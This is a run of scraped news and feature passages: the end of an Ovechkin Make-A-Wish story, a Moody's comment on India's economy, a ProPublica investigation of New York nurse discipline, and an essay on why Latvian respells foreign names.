Ovechkin went inside. He came out wearing a suit. He said he was going to the ballet with his wife Nastya.
“It was so nice to finally meet you,” I said to Ovechkin as he walked out.
He shook my hand.
I put the hockey stick in the backseat of my car. I decided right then that Ovi’s stick would be the first present I would give to my upcoming baby. Hopefully, the RMNB baby will be able to do more with it than I can.
Photos
Photos: Amanda Bowen. Video editing: Sean Morrow.
Related Links:
– The short and long-form versions of the Ovechkin Wish commercial
– Ovechkin casually puck-juggles during downtime of the shoot
– Props from the commercial, including Ovi’s PIZZA shirts, are up for auction to benefit Make-A-Wish
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PinterestMUNIR UZ ZAMAN via Getty Images Indian Prime Minister Narendra Modi delivers a speech at presidential residence Bangabhaban in the Bangladesh capital Dhaka on June 7, 2015. Bangladesh and India on June 6, 2015 sealed a historic land pact to swap territories, which will finally allow tens of thousands of people living in border enclaves to choose their nationality after decades of stateless limbo. AFP PHOTO/ Munir uz ZAMAN (Photo credit should read MUNIR UZ ZAMAN/AFP/Getty Images)
NEW DELHI -- Flagging subdued rural economy as a 'credit negative' for India's sovereign rating, global giant Moody's today said there are growing concerns about risk of policy stagnation and "some disappointment" has emerged over the pace of reforms under the Modi government.
In its latest 'Inside India' report, Moody's Investors Service said the consensus view on India's economic growth prospects is relatively optimistic and in line with Moody's baseline forecast of 7.5 per cent expansion in current fiscal.
"Forecast represents the highest projection amongst G20 economies, and provides a key pillar of support for the Baa3 sovereign rating and positive outlook," it said. This is the lowest investment grade rating, but a 'positive' outlook indicates room for further upgrade.
However, the results of the latest polls conducted by it has showed "some disappointment...with regard to the pace of reform under the administration of Prime Minister Narendra Modi, and increasing concerns about the risk of policy stagnation.
"Specifically, almost half of the poll respondents identified sluggish reform momentum as the greatest risk to India's macroeconomic story." Moody's said "the multi-party, federal democracy in India underpins a gradual pace of policy implementation" and many of the policies are positive for India's institutional strength. However, the direct impact of growth-enhancing reforms is only likely to take full effect over a multi-year horizon, it said.
Moody's further said it expects India's weakened rural economy to remain subdued through the fiscal year ending March 2016, particularly if the risk of below-average monsoon rainfall materialises.
"A sustained soft patch for India's rural economy would weigh on private consumption and non-performing assets in the agricultural sector, (which is) a credit negative for the sovereign and banks," Moody's Vice President and Senior Research Analyst Rahul Ghosh said.When Caregivers Harm America’s Unwatched Nurses
Thomas Maino knew he was going to die. Suffering from serious ailments, the 93-year-old veteran had rejected invasive treatments and asked only that he be made comfortable after he was admitted to a Syracuse nursing home in November 2008.
But on a snowy Saturday morning the following January, his moans could be heard down the hallway.
Over the next eight hours, coworkers reported to the nurse in charge of Maino’s unit that he needed pain medication. That nurse, Maura Quinn, gave him only Tylenol and never alerted the doctor. Other nurses told her Maino was in agony, but she ignored them, even when his moaning turned to yelling, seven staffers at the home later testified in depositions taken during an investigation by the state Attorney General’s office.
“Oh great, now people are going to tell me how to do my freaking job,” Quinn said when a nurse from a nearby wing left a note for her about Maino, according to one deposition.
Maino died that evening.
After an administrator reported the incident to New York nursing home regulators, Quinn was fired and, in December 2010, convicted of a misdemeanor for providing Maino with inadequate care. The state Attorney General’s office reported Quinn to the Office of the Professions, the agency that licenses and disciplines nurses, when she was sentenced two months later.
But it would take another three years for the Office of the Professions to suspend her from nursing. By then, the agency had learned that Quinn lied on her initial licensing application, failing to disclose a 1988 conviction for drug possession, and that she was convicted in 2012 of driving without a license — both grounds for more disciplinary action. The agency finally suspended Quinn’s nursing license for three months in May 2014.
Over the past 15 years, nursing boards across the country have taken steps to tighten oversight of nurses, screening applicants more extensively before issuing licenses and instituting swifter, tougher sanctions for problem licensees.
Not New York.
Unlike many states, New York does not require applicants for nursing licenses to undergo simple background checks or submit fingerprints, tools that can identify those with criminal histories and flag subsequent legal problems. And it often takes years for New York to discipline nurses who provide inept care, steal drugs or physically abuse patients.
A ProPublica review of hundreds of disciplinary records, arrest reports and court filings shows New York’s system for overseeing nurses is deeply flawed. Among our findings:
The Office of the Professions often fails to act when it is informed that other states or even other New York agencies have disciplined New York nurses. One example: The state health department penalized a nurse in early 2014 for administering an overdose of insulin that nearly caused a patient’s death, but the Office of the Professions has taken no action against her license.
Though the Office of the Professions can take immediate action against nurses accused of endangering the public’s health or safety, it has not done so, even in egregious cases. After a nurse in the Bronx was caught sexually assaulting a patient in February 2014, the agency didn’t revoke his license for more than a year and a half, records show.
New York disciplines nurses far less often than other large states. In 2014, the Office of the Professions disciplined fewer than 350 licensees, which works out to 1 in 1,190. In the same year, Ohio disciplined more than 1,600 (1 in 153), and Texas disciplined almost 2,300 (1 in 167). In fiscal 2014, California disciplined over 1,600 nurses, roughly 1 in 325.
“As a professional nurse who is registered in the state of New York, I’m appalled,” said Donna Nickitas, the executive officer of the nursing PhD program at the Graduate Center of the City University of New York. “This is [about] the health and welfare of the general public.”
The Office of the Professions is an arm of the New York Department of Education. In response to these ratios, a spokeswoman for the education department said that New York’s numbers only reflected actions that needed the approval of the Board of Regents. The department did not respond to multiple requests to quantify or elaborate on this.
Even inside the Office of the Professions, concerns have grown so pronounced that one investigator wrote to New York State Sen. Michael Venditto last July about the consequences of not performing background checks on nurses, as well as delays in disciplinary action, letters obtained by ProPublica show. The investigator cited one nurse who was licensed despite a violent criminal history because he never reported it on his application. Another nurse maintained an active license for three years while she awaited trial on charges of selling prescription drugs, the investigator wrote.
In response to a letter from Venditto about the investigator’s concerns, New York State Commissioner of Education MaryEllen Elia said in October 2015 that her agency would support background checks and fingerprinting for nurses if state legislators proposed a measure requiring them. (They have not done so.)
But Elia cited an “extraordinarily high” success rate for the investigations completed by the Office of the Professions. “We are very proud of the work the office does and believe that New York’s licensed professionals are among the safest in the country,” Elia wrote in a second letter in December 2015. She did not clarify how she was defining success, and also declined requests to be interviewed.
Peggy Chase, a member of the New York nursing board, the licensing board for nurses that is part of the Office of the Professions, acknowledged the blind spots in the oversight system. She said she did not remember the issue of background checks being raised at any of the board’s meetings. In a phone interview, she conceded that “people can lie and we will never know,” but said the responsibility for spotting and dealing with problem nurses should not fall exclusively on the Office of the Professions.
In an e-mailed response to ProPublica’s findings, Jeanne Beattie, a spokesperson for the education department, acknowledged that the Office of the Professions had limited ability to discipline nurses.
“We are working with the chairs of the Senate and Assembly Higher Education Committees to improve the disciplinary process to include greater authority and tools for the department,” said Beattie.
Quinn could not be reached by phone and did not respond to a letter sent to her most recent address in Florida. The education department declined to comment on Quinn’s discipline record or the cases of any other individual nurses that ProPublica asked about.
In a handwritten statement three days after Maino died, Quinn said she had left her shift that Saturday afternoon believing Maino was stable and resting. “I was not concerned [with] Thomas’s yelling act because that’s what he had been doing for weeks,” she wrote.
Quinn’s disregard for her patient left a lasting impression on her former colleagues. “Whenever I think about what happened that day I get sick to my stomach,” Veronica Barricella, one of the aides who tended to Maino, said in her February 2009 deposition. “I have also had nightmares.”
There may be no better illustration of the value of checking nurses’ criminal histories than the strange tale of Randall Silsby.
Silsby received a New York nursing license in 1992. Five years later, faced with two divorces and child support payments, Silsby decided to solve his “midlife crisis” by faking his own death. He left Niagara Falls for the Dominican Republic, where he paid a lawyer to draw up a fake death certificate and assumed the name of Julio DiMuerte (muerte means “death” in Spanish). When he decided to resurrect himself and head back to New York, the federal government charged him with making a material false statement to the government, a felony. He was sentenced to six months in prison in 2001. As a condition of his release, Silsby was ordered to receive mental health treatment.
But in 2002, Silsby was able to renew his New York nursing license and return to work simply by not disclosing his conviction on the renewal application. As is typical, the Office of the Professions didn’t independently seek out records on his criminal past. It only does this if nurses admit they have been convicted of crimes or are accused of wrongdoing, officials say.
Silsby’s scheme only came to light more than a decade later, when state officials investigated a claim that he touched the breasts of a sedated 85-year-old patient at Wilson Medical Center in Johnson City, New York. According to a 2014 nursing board document, Silsby was not disciplined for the sexual abuse allegation, and was suspended for one month for forging his death certificate. His license is still active in New York.
Silsby did not respond to multiple emails or phone calls.
New York’s approach to vetting nurses is increasingly out of step with that of other states. In 2005, the National Council of State Boards of Nursing, the trade group representing state nursing boards, issued a report recommending that nursing boards conduct state and federal criminal background checks on all applicants and licensees. “Consumers needing health care are vulnerable. Nursing is a stressful profession. Stress tends to cause bad habits to reappear,” it said, adding that it was “appropriate to establish high behavior standards” for nursing applicants.
In the last decade, a majority of state boards have adopted such measures. In 1998, only five states performed background checks on nurses; by 2014, 37 states did them and more were initiating these procedures.
New York not only relies on nurses to self-report criminal convictions, it also only requires them to do so every three years, when they renew their licenses. Other states mandate that nurses report problems far sooner. Florida, for example, requires nurses to report convictions within 30 days. Georgia gives nurses 10 days to report felony convictions. And nurses in Pennsylvania must report criminal convictions as well as pending criminal charges within 30 days.
As Silsby’s case demonstrates, in the absence of background checks, nurses aren’t always honest. Kathy Thomas, the executive director of the Texas Board of Nursing, said her board instituted background checks and fingerprinting in 2003 after consulting other state boards that discovered many nurses with criminal histories when they stopped relying exclusively on self-reporting.
“We knew self reports were unreliable,” Thomas said. When Texas added background checks, the board discovered “serious criminal history that hadn’t been disclosed.”
According to data provided by the Texas Board of Nursing, the board received just over 4,000 reports filed against Texas nurses in 2004. The state gradually began implementing the fingerprinting system that year. By 2015, the number of reports against nurses had ballooned to almost 14,000, largely as a result of a system that automatically sends reports of criminal convictions and arrests to the nursing board.
David Keepnews, a professor at the Hunter-Bellevue School of Nursing, said background checks and fingerprinting would likely turn up a relatively small number of nurses with serious criminal convictions. But that should not deter New York from pursuing reform, he said.
The “nursing profession as a whole has an interest in ensuring safe nursing care and in maintaining the public’s trust,” he said. “We should see this as an opportunity to make the practice even safer by working to plug the holes in our disciplinary system.”
Even when nurses do report their own misconduct, New York’s system falters. The unit within the Office of the Professions that renews licenses is separate from the unit that pursues investigations, so both processes — renewals and investigations — can proceed simultaneously, on separate tracks.
In August 2012, licensed New York nurse Matthew Schroeder was sentenced to three years in prison for selling a drug without a prescription over eBay. The FDA had initiated an investigation after a Georgia teenager who purchased drugs from him died of an overdose.
“I thought what I was doing was legal. I was trying to branch out and become a self-made business man,” Schroeder said in a phone interview, explaining that the drug he sold was not listed as a controlled substance.
In April 2015, Schroeder applied to renew his state nursing license, although he was not released from prison until that July. Schroeder said he admitted his conviction on the application but the state renewed his license anyway, though it later informed him it had opened an investigation.
“I think it is completely OK for me to be a nurse. I have always taken great care of my patients,” he said, adding that he expected to pay a fine but continue practicing.
Schroeder voluntarily surrendered his California license in March 2014 while he was in prison because he said he could not be present for the hearing in front of the state board. States share disciplinary actions against their nurses, but Schroeder’s New York license has remained active.
New York nurses who report minor crimes say the Office of the Professions can take years to complete investigations, leaving their professional lives in limbo.
Registered nurse Danielle DiSciullo was nervous when she reported a December 2010 DUI on her renewal application in 2013, and was relieved when her license arrived in the mail the following month. But months later, DiSciullo received a letter informing her that the nursing board was investigating her. State records indicate she had a hearing in May 2014, nine months after she voluntarily disclosed the conviction. She received a month-long suspension the following September.
“It was torture at times; I just wanted to know what was going to happen,” said DiSciullo, whose license is now clear.
Edie Brous, an attorney who represents nurses in front of the Office of the Professions, said DiSciullo’s situation is not uncommon. Many of her clients have been disciplined for minor crimes several years after admitting to them. The drawn-out process ill serves nurses without protecting the public, she said.
“If you believe that this is a licensee that needs to be disciplined in order to protect the public’s safety, you don’t sit on it for six months or a year.”
In most states, nurses are overseen either by health departments or independent nursing boards. In New York, however, the Office of the Professions, like the rest of the Department of Education, comes under the Board of Regents, whose primary responsibility is to oversee the state’s vast public education system.
The education department once oversaw all licensed professionals, but in 1975, the health department assumed authority over doctors and physician assistants after the Board of Regents was criticized for failing to provide adequate oversight. “It has been our experience that the response of the Regents to our investigations has been inaction,” Dr. Lawrence Essenson, chairman of the Medical Society of the County of New York’s Board of Censors, wrote in a 1975 letter quoted by the New York Times.
Under the Board of Regents’ umbrella, there’s a complex disciplinary process for nurses accused of misconduct. First, a member of the state nursing board partners with an investigator for the Office of the Professions to determine what happened and, in some cases, recommend discipline. Then a member of the Board of Regents’ Professional Practices Committee reviews and refines their recommendation. Then the full Board of Regents has to approve the final recommendation at its monthly meeting, along with recommendations for disciplinary action from the other 53 professions overseen by the Office of the Professions.
Regent Wade Norwood, the co-chair of the regents’ Professional Practice Committee, defended this process, saying the layers involved created a more “fair and thorough review.”
But Regent Catherine Collins, the only licensed nurse on the Board of Regents, was concerned by the comparatively few disciplinary actions against nurses approved by the board and felt the board does not have a deep enough understanding of individual professions. She said it was crucial for the regents to pay special attention to professions that care for those who are vulnerable, such as nurses.
“People look for loopholes when they want to commit bad behavior. If there is a hole in our system we need to plug it,” Collins said.
Doctors received closer scrutiny after the health department took over their discipline, but legislators say it would be near |
that it seemed a little bit like Latvians couldn’t cope with the non-Latvian outside world. Why else add these unwanted appendages to our names? Why couldn’t I just be William? This article will attempt to explain why.
First of all, Latvians are obviously not the only people to have tweaked and reshaped the names of foreigners in order to make them slightly easier to pronounce. To choose just a couple of examples, the Russian Emperor Catherine the Great would have been somewhat baffled to be so called: her Russian name was “Yekaterina”. The Georgian dynasty of the English royal family was begun by a king Brits called George Louis, a Hanoverian duke who never learnt English and would only have answered to “Georg Ludwig”. And the same thing has happened to the names of English-speakers in other cultures – Poles still refer to England’s greatest writer as “William Szekspir”. But this habit has become increasingly rare over the last century or so, largely a victim of improved communication and increased knowledge about other cultures – few in the UK today would call the current French president “Frank Holland”.
Of course, languages using non-Latin alphabets still need to find a way to accurately convey foreign names using the resources they have at their disposal (and vice versa), even when letters may not exist to match all of the sounds. In Russia, for example, the two principal songwriters of The Beatles are Пол Маккaртни and Джон Леннон (Pol Makkartni and Dzhon Lennon, back-transliterated). What is so unusual about Latvian (and, historically, Lithuanian, but we’ll get onto that later) is that it is written with the Latin alphabet, and always has been, and yet it still requires all foreign names to be altered to fit with Latvian spelling and grammatical conventions (which include “s” endings for almost all male names, and “a” or “e” endings for women) – i.e., essentially, to be written as though they were Latvian names. Thus, were The Beatles ever to have played in Latvia (a fairly unlikely situation, given the Soviet occupation and all), they would have been fronted by Pols Makartnijs and Džons Lenons.
And this is compulsory; if I were to write “mani sauc Will” (my name is Will) in a test of my Latvian ability, it would be marked as incorrect – Vils it must be. I once asked a friend why it was that she had no trouble saying “Will” when speaking to me in English, but switched to “Vils” in conversation with a Latvian friend. She looked a bit perplexed by the question, which it appeared she had never considered before, but eventually answered “if I said Will, it would sound like I had suddenly said something in a foreign language”.
The standard explanation is that this is necessary so that people can decline nouns correctly. Latvian has an unusually rigid grammatical case system, so much so that it’s possible to express every possible variant in an (admittedly, very complicated) table – and most nouns can end in a dozen or so ways depending on their function in the sentence and relation to the surrounding words. Hence my own Latvian name, Vils, can also change in many ways. If I am addressed directly – e.g. “hey, Will – come over here”, it would be “Vil”; “with Will” would be “ar Vilu”; and in the unlikely event that I am with a large group of others called Will (or Vils), perhaps at some kind of convention, I could say I am “ar Viliem”. If I am receiving something, my name would instead be rendered as “Vilam”.
Resident foreigners tend to find this either infuriating or endearing, but few would argue that it certainly can be entertaining. My favourite “Latvianised” name right now is the faintly derogatory-sounding Donalds Tramps. Others are barely penetrable – both “Džordžs Klūnijs” and “Hoakins Fīnikss” are names I saw on film posters and took a long while to puzzle through.
All of this might make it sound that this kind of inflexibility derives from a lack of familiarity with other cultures, other customs, other ways of arranging sounds. In fact, it couldn’t be further from the truth: Latvian hasn’t been the sole language in this part of the world for eight hundred years. Neither is it that they are stubbornly holding onto outdated grammar or spelling rules, in the same way that English speakers continue to write words like “know” and “knee” with entirely superfluous initial letters: the standards for written Latvian have changed so much in the last hundred years that texts in the language from as recently as World War I are a real struggle to comprehend for modern Latvians.
Indeed, for most of the last millennium, Latvian has been a language with very low social status. The Baltic region was the last part of Europe to be Christianised, its remoteness, wildness and forbidding climate meaning it was spared the attention given to lands further south. That changed at the end of the 12th century, when the Teutonic Knights, who were essentially German mercenaries pushing Christianity, launched the Northern Crusade, with the intention of converting the Baltic heathens. They built fortresses along the coast, including what is now the city of Riga, and over a period of almost a hundred years of warfare with the native people, the entirety of the area of modern Latvia (and Estonia) was subdued and its people converted, often with great brutality.
With the conquest of the territory of Latvia, a strict ethnic hierarchy was established: the Germans, although never making up more than a small percentage of the population, owned almost all the land and were also disproportionately represented among merchants and city-dwellers; Latvians remained overwhelmingly rural, uneducated and poor. Although it was not unheard of for talented Latvians to better the station, it was generally expected that these intelligent few would adopt German customs and the German language. This societal structure remained remarkably unchanged even after the Livonian Order (the administrative branch of the Teutonic Knights) lost power in the region in the 16th century, and control passed to (in succession), Poland, Sweden and Russia. All ruled mostly by proxy through the Baltic German aristocracy, who retained their privileges in return for loyalty to the foreign monarch. The Baltic Germans retained their monopoly over most aspects of life in the region – to be educated meant to speak German.
With these limited social prospects in mind, it’s not really that surprising that formulating a means to transmit the language of the peasants didn’t appear to be a great priority for anyone. The Latvian language wasn’t transcribed at all until the 16th century, hundreds of years after the arrival of the crusaders, and even after that it was used relatively rarely as a means of written communication. The majority of texts were written by Germans, often priests or teachers, for religious or pedagogical purposes – there are examples of catechisms, schoolbooks and children’s stories. But since most peasants remained illiterate, and it was assumed that educated people could speak German, there wasn’t a great deal of incentive to change the situation. It wasn’t until 1790 that the first play appeared in Latvian – written by Alexander Johann Stender, himself a Baltic German.
This order of things wasn’t seriously destabilised until the 19th century and the onset of the Industrial Revolution, which brought hundreds of thousands of country people into the cities to work in the newly opened factories – with the effect that, by the end of the century, Latvians had, for the first time ever, become the largest ethnic group in Riga. In the decades that followed, a Latvian intelligentsia began to develop – writers, musicians, architects and politicians proud of their origins and disinclined to try to pass as German or Russian. During the period many Germans, in both Latvia and Estonia, also developed a fascination with the indigenous culture and language of the region. But prejudice and stereotypes had not vanished – as late as 1871, a German writer, Keuchel, was able to write “it is not possible to be both Latvian and educated – an educated Latvian is a contradiction in terms”.
This growing national consciousness would culminate in 1918 with the declaration of an independent Latvian state, but there were many battles to fight before this. One of the fiercest, perhaps surprisingly, was over the language – and specifically, how to create a standardised set of orthographical conventions. For the Baltic German authors and translators who had written most texts in Latvian up to this point, this wasn’t a huge problem: they fitted the language to the orthography they knew best – German – but stretched the distinct sounds of Latvian in the process. There was also massive inconsistency over how to represent the fact that in speech Latvians invariably added case endings to all names, foreign or not. German writers tended to make the necessary adjustments to the names of biblical and historical personages, and the rulers of foreign countries, but were much more reluctant to “Latvianise” their own names or those of their fellow Baltic German intelligentsia. Similarly, in Latvian texts, Russian names were transliterated to the Latin alphabet, but Latvian endings were rarely added. The extent of the confusion can be shown by the fact that within a forty-year period, no fewer than eight spellings of the English prime minister Lord Salisbury were recorded in Latvian. Something needed to change.
The Latvian alphabet that is used today was worked out by two linguists, Kārlis Mīlenbahs and Jānis Edzelīns, in 1908. They had set out to find a form for Latvian that worked on its own terms, and also wanted to limit German influence, and what they came up with was a strikingly elegant set of letters. All curlicues, notches and geometrical lines, it seems a language designed for exquisite calligraphy. It was also strikingly severe and parsimonious – there are only two digraphs in Latvian (“dz”, and “dž”, which is only used in words that have entered Latvian from foreign languages). Clumsy German-influenced compromises like “ih”, intended to indicate a long “i”, were abandoned – replaced by “ī”, in this case. German needed three letters (“sch”) to express the sibilant in the word “show”; henceforth, Latvian would only need one (“š”). Latvian was to be a model of efficiency – just about as close as any language could come to one sound, one letter. But it took some time before it was adopted: German letters like “w” weren’t jettisoned until some time after independence (money printed in the first few years of the republic proclaims that it is from “Latwija”).
Mīlenbahs also eventually won the other linguistic battle he engaged in: how to represent non-Latvian names. In the seemingly furious debates that took place around the turn of the century, Mīlenbahs advocated the purist solution – they must all be put through a Latvian filter. This was something that would affect him very personally: he, like many Latvians, had been born with a German name – Mühlenbach. How to represent it in his native language was thus a long-standing problem – and at least five other variant spellings have been recorded. At a fiery meeting in 1902, where the question of whether to standardise foreign names was being discussed, an opponent pointed out “then you would also have to use “ī” instead of “ü” in your name!”. Mīlenbahs (or Mühlenbach) responded: “please do write it like that!”. His party carried the day: from now on Latvian would represent all foreign names systematically, as they sounded to Latvian ears, following Latvian phonetic and grammar rules.
So maximum efficiency and consistency in orthography, maximum convenience and simplicity for users, right? Not quite, as anyone working as a journalist or academic in modern-day Latvia can tell you. Latvia is a (fairly) small country geographically, and has a very small population (it is the native language of between one and two million people worldwide). However neatly and precisely the language is arranged, it’s pretty hard to avoid referencing non-Latvian places, things and people. And when they are, the principles elaborated by Mīlenbahs and Endzelīns at the beginning of the last century are still followed – names are squeezed and rejigged to ensure they conform with the norms of literary Latvian. How to do this is not always immediately apparent, since some foreign sounds don’t have obvious parallels in the Latvian language and vice versa. The official legal guidelines for transliterating names run to 152 points, and even then it only covers names of Lithuanian, Estonian, German, English, Russian, Ukrainian and Belarusian origin.
So Latvia knows what to do with the languages of its neighbours, as well as a handful of other major European tongues, but what about languages that are less commonly spoken in Europe? In English, and the vast majority of other European languages, this is not a big problem. If I need to mention in passing, say, the capital of Mauritania, Nouakchott, a place I know literally nothing about bar (very approximately) its geographical location, it doesn’t really matter that I don’t know how to pronounce it – I just copy out what I read and think no more about it. A Latvian writer wishing to mention Nouakchott, even in passing, would need to, before being able to render it in Latvian, learn how it is pronounced in the original language and come to a decision about the correct means of transliteration – or consult one of the numerous style guides that exist. (It’s Nuakšota, incidentally).
But, of course, however exact the usage guides are, it’s a struggle to precisely accommodate all the multifarious sounds possible in foreign languages to the necessarily limited Latvian alphabet. This allows the potential for furious disputes – and this do indeed periodically erupt. Last year, for example, following a spate of stories about the Egyptian resort city Sharm el-Sheikh (which was rendered in the articles as Šarm el-Šeiha), it was pointed out on Twitter – and confirmed in an official statement from the National Language Centre – that the sound transcribed as “el” in English actually sounds more like “esh” in Arabic. Following this news, it was increasingly corrected to “Šarm eš-Šeiha”, causing another storm of accusations of inaccuracy from those who had missed the earlier debate. All of this was summed up by a wonderful laconic headline on Latvian Public Broadcasting’s English-language service: “Spelling of Sharm el-Sheikh Confuses Latvians“.
Where it becomes truly confounding is with names that are pronounced differently across different cultures – English, as a language with native speakers across the globe, and a consequently wide variety of “standard” dialects, is a good example of this. Place names in the United Kingdom are often pronounced in a way that diverges quite markedly from the spelling, while American and Canadian cities and towns which take their names from Old World locations are generally closer to a phonetic pronunciation. Norwich in the east of England, for example, is pronounced “Norrich” – or, in some dialects, “Norridge” – whereas Norwich in the US state of Connecticut is pronounced more or less as it is written, with the “w” sounded. Accordingly, the Latvian version for the two identical names should be different – Noriča/Noridža for the English one; Norviča for the American.
The amount of additional work can be quite considerable, as I learn from a number of Latvians involved in academia and journalism. Helmuts Caune is currently co-editor of Latvia’s premier cultural publication Rīgas Laiks, and has also completed a bachelor’s degree and master’s degree in philosophy at the University of Latvia in Riga. Both as a student and now as a writer for Rīgas Laiks, he frequently has to reference – and transliterate – foreign names, a process he describes as “quite often a pain in the ass, especially if they don’t come from English”. For his thesis, the process generally wasn’t too time-consuming, he tells me, since “most of the people I had to mention [in his thesis] were either English or they had already some tradition of being written in Latvia”.
Still, he says the rules can be surprisingly inconsistent with regards to sounds that don’t exist in the Latvian language: “the thing that’s quite telling is that even the people who are supposed to know this – linguists, academics, translators, proofreaders, who are supposed to have some method or basic sets of principles on how we should do that, are often very conflicting”. As an example, he mentions the American philosopher John Rawls, who he wrote about repeatedly during his studies; his first name is always rendered as Džons, but there are at least three variants of his surname (Rolss, Rolzs, Roulzs). For his bachelor’s thesis Caune used the first variant, but in his master’s thesis he referred to him by the third. There was no particular reason for the change, he says – “at different periods, some things sounded more right”.
Laura Plūmiņa, who has completed a master’s degree in Art History at the Latvian Academy of Art, mentions French, a language she doesn’t speak, as being particularly problematic and causing a considerable amount of extra work. French names, with their silent letters and troublesome vowels, are notorious for looking totally bizarre in Latvian – case in point, actor and noted Vladimir Putin aficionado Žerārs Depardjē (or as the rest of the world knows him, Gerard Depardieu). If she can find previous citations for “Latvianising” names, she can follows those; otherwise, she’s on her own. For her thesis, she wrote about Marc-Antoine Laugier, a French Jesuit priest who developed some architectural theories in the 19th century. “Is it Marks-Antuāns Ložē?”, she asks, rhetorically. “I still don’t know.”
There is another path, though, and that’s the one taken by Lithuania, Latvia’s southern neighbour and the home of the only other surviving Baltic language, related to Latvian but not mutually intelligible with it. At least in speech, Lithuanian is also highly rigid in its grammatical structures, which are comparable, though far from identical, to those used by Latvian – most things can be expressed in a series of tables. Men’s names will usually gain an “as” suffix; while women’s will almost always end in “a” or “ė”; there are even endings to denote whether or not a woman is married – thus, were the current president of Lithuania, Dalia Grybauskaitė, to marry, she would have to become Dalia Grybauskienė.
Owing to these similar qualities and conditions, Lithuania experienced a similar debate over how to represent foreign names; in fact, as Daiva Vaišnenė from the Lithuanian National Language Commission tells me, Lithuanian faced an additional hurdle in that for almost fifty years in the latter half of the 19th century, publication in the language using the Latin alphabet was prohibited by the Russian imperial authorities. After independence (achieved at almost exactly the same time as Latvia), the question of whether to “Lithuanianise” foreign names, thus making them easier to fit into the complicated case system, was debated further but never fully settled. That was until 1938, when the State Language Commission ruled against purism – foreign names would stay as they are.
This judgement was overruled after the Soviet invasion and occupation of Lithuania two years later – now, phonetic accuracy was recommended. Access to media from the wider world was suddenly curtailed, and those references to foreign places and people that did filter through would usually come via a Russian version anyway. Accordingly, in Lithuanian texts you will still find references to Josifas Stalinas and Michailas Gorbačiovas. But following the restoration of independence in 1990, the previous system was (mostly) reverted to – as Vaišnienė tells me: “foreign names should be translated in fiction and publications intended for children, taking into account their age and preference, but in research papers, media, adverts and other kinds of information texts, original forms are preferred. Of course, there are no strict requirements – editors can choose.”
That “of course” is revealing: Lithuanians seem to have a more easy-going approach to the question, despite having a grammatical system of equivalent rigidity and complexity. A Lithuanian colleague, Dovilė, tells me that I would usually be “Williamas”, not “Viljamas” in written Lithuanian; a case ending is added, but no further attempt is made to force it into a Lithuanian shape. She thinks even this is going too far.
That doesn’t mean, however, that Lithuanian takes a laissez-faire approach in all respects: where it can be somewhat inflexible is with regards to the personal names of its own citizens. Lithuania has a sizeable Polish-speaking population (at 6% of the total, they’re the country’s largest minority), with whom Lithuanian-speakers have a rather vexed relationship – prior to independence, Polish-speakers tended to have higher social status and were widely resented, and the rightful ownership of the Lithuanian capital Vilnius (Wilno, to Poles) was long disputed. But now, Lithuanian is the dominant language in the country – and the only state language by law, a status confirmed in the Law on the State Language drawn up in 1995 following the restoration of independence. This means that municipalities can be fined for adding signage in another language – something that has caused particular friction in the majority-Polish regions around Vilnius. The law also stipulates that the names of Lithuanian citizens must be written using the Lithuanian alphabet in all official state documents – including passports. As a result of this law, Polish-speakers are unable to use certain letters that exist in the Polish alphabet but not in Lithuanian – “w” being the most obvious one.
In Latvia, a similar law holds force – the names of both places and persons must conform with the nation’s language laws. But, in Latvia’s case, the largest minority is Russian (26%, according to the most recent survey), and it is Russian-speakers who have objected most strongly. One, Leonid Raihman, took his case to the United Nations Human Rights Committee, objecting that in documents issued by the Latvian state following the restoration of independence, he was referred to as “Leonīds Raihmans”. The court ruled in Raihman’s favour, stating “while the question of legislative policy, and the modalities to protect and promote official languages is best left to the appreciation of the State parties [..] the forceful addition of a declinable ending to a surname, which has been used in its original form for decades, and which modifies its phonic pronunciation, is an intrusive measure, which is not proportionate to the aim of protecting the official State language.” The objection was disregarded. On another occasion, a Russian-speaking family in Liepāja requested (unsuccessfully) to have the name of their child officially registered as simply “Miron” because of the similarity of its Latvianised form to “mironis” – a corpse.
It’s not only ethnic minorities who have objected – on one occasion several years ago, a Latvian woman objected when her young son Mark, who had been born in Germany and held dual citizenship, had his name written as “Marks” on his Latvian passport. She argued that the discrepancy between his documents in the two countries could cause problems. This was also rejected, with the court pointing out that original forms of names can be mentioned later in the passport – but not on the initial page. There can be at least a degree of flexibility on the part of the authorities, though, as Todd Rossman, an American who has lived in Latvia on and off since the early ’90s, attests. When he got married in Latvia in 2000, he was given two possible options for how his surname would officially be transcribed, both ending (of course) in “s” – Rasmens and Rosmanis. He tells me he went for the second option, because it was an established Baltic German surname, and because of “the endearing cognate ‘manis'”.
Many might feel though, judging by the strife and inconvenience which these conventions seem to cause, that this level of linguistic purism simply isn’t worth it. But when I put this to Professor Juris Baldunčiks, who has written a number of articles about the subject, he disagrees, pointing out that Latvian is not only a phono-graphemic language (i.e. things will be written, almost always, how they sound), but also, highly unusually, a fully inflected language, with mandatory endings for nouns even in the nominative case. He says that thus if words were not respelled, they simply would not fit into sentences – “and using apostrophes – John’u, John’am, John’ā – is simply ugly.”
He also observes that, unlike most speakers of other languages, Latvians will have a fairly accurate idea of how to pronounce even place names that they are unfamiliar with. Referring to the former US president’s visit to Latvia in 2005, he comments “just imagine how long President Bush rehearsed the correct pronunciation of [then] Latvian president Vaira Vīķe-Freiberga (and still did not get it right)”. This is not an unreasonable point: I’m in Chișinău, the capital of Moldova, as I’m writing this article – a name which I would estimate well under 1% of native English speakers could pronounce correctly (it’s Kish-in-o).
A reason that no one I speak to mentions, but that I suspect does carry a lot of weight, is the sense that this is simply the Latvian way of doing things, and it should be protected for that reason. This is not purely reducible to intolerant nationalism – although it’s certainly true that many intolerant nationalists do indeed hide behind this excuse. Latvia has spent centuries struggling against domination by its neighbours, and it is in many ways remarkable that the language remains in daily use at all – in many other small countries bordering great powers, the native language was sidelined over time and eventually used only by the poor and uneducated (think of Ireland or Belarus, to take just a couple of examples).
Indeed, even in Latvia, it was often assumed during the second half of the twentieth century that the long-term prospects for the language were poor, due mostly to the increasing dominance of Russian and the tendency of Soviet-era immigrants not to learn the language (even though Latvian remained the native language of almost all ethnic Latvians, they were only just in the majority in the republic by the late ’80s, and the proportion of inhabitants who understood Latvian was greatly outnumbered by the proportion who understood Russian). Correct use of Latvian and resistance to the Russian loan words that increasingly entered the language became a means of passive opposition for the educated Latvian classes. Lithuania’s experience of the Soviet Union was also traumatic – but due to lower levels of immigration and a larger overall population, the primacy of the language wasn’t threatened nearly as much as in Latvia (it always remained the native language of over 80% of the population), perhaps explaining why scrupulous accuracy seems much less important to people there.
